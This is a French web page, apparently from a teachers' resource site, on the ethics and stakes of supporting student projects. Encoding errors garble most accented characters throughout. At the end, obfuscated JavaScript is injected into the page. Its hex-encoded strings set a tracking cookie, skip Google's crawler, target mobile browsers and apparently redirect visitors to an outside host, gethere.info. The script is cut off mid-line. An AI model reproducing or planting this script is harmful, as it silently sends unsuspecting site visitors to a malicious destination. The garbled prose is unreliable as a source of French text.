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L’accompagnement de projet

Lai??i??accompagnement et le suivi de projet constituent une partie importante du temps dai??i??animation, dans le cadre de lai??i??ALESA, ou du suivi de projets pour les classes Ai?? projets (estimAi??s Ai?? une heure semaine par classe).

Lai??i??accompagnement de projets est le lieu dai??i??enjeux professionnels qui concernent globalement lai??i??animation. Mais si lai??i??utilisation du verbe accompagner est nAi??cessaire, cai??i??est quai??i??il favorise la comprAi??hension dai??i??un processus professionnel et humain qui concerne lai??i??accompagnateur, lai??i??accompagnAi?? et le cadre dans lequel cette action se situe, ainsi que lai??i??accompagnement dont il est question.

Il sai??i??agit ici de dessiner des repA?res / difficultAi??s qui font partie inhAi??rente de toute action opAi??rAi??e par soi ou les autres, ou encore de toute situation sur laquelle un nouvel arrivant est appelAi?? Ai?? intervenir. Le repAi??rage de ces Ai??lAi??ments peut permettre de mieux situer son action dai??i??accompagnement, mais aussi dai??i??en comprendre les enjeux, les dAi??rives possibles et dai??i??esquisser des prAi??conisations. Cette approche se veut la plus pragmatique possible, et essaie de lister un ensemble de questions quai??i??il est souhaitable de se poser pour in fine apprAi??cier en quoi notre travail dai??i??animation ou nos compAi??tences peuvent A?tre amAi??liorAi??es. La liste ne prAi??tend pas A?tre exhaustive mais participe Ai?? un bilan rAi??gulier de terrain.

Le professeur dai??i??ESC possA?de, de par son statut et son rAi??fAi??rentiel de mAi??tier, un prolongement de son travail Ai??ducatif dans le champ du suivi de projets. Il est donc amenAi?? Ai?? sai??i??interroger sur les bases Ai??thiques de son intervention afin de mieux cerner la posture quai??i??il emprunte.

La responsabilitAi?? du professeur-animateur est de taille, puisquai??i??il sai??i??agit de sai??i??ancrer dans lai??i??ambition dai??i??apprentissage de la citoyennetAi?? et de lai??i??autonomie des jeunes, qui contient une Ai??vidente dimension politique. Il sai??i??agit donc de rAi??sister Ai?? toute pression qui peut entraAi??ner vers des dAi??rives ou impasses Ai??ducatives. Quai??i??elle soit individuelle ou collective toute tentative de faire flAi??chir la rAi??flexion ou lai??i??action des apprenants au bAi??nAi??fice dai??i??un acteur professionnel, dai??i??un groupe ou dai??i??une institution constitue Ai?? ce titre lai??i??occasion de sai??i??interroger sur sa postureAi??: assumer ses responsabilitAi??s signifie travailler Ai?? dAi??velopper un cadre qui garantit et sAi??curise au mieux lai??i??action Ai??ducative. Il en va de mA?me de tout dispositif pensAi?? et mis en Ai??uvre dans cette perspective.

pointRessource du GAP ESC : L’accompagnement de projetsvar _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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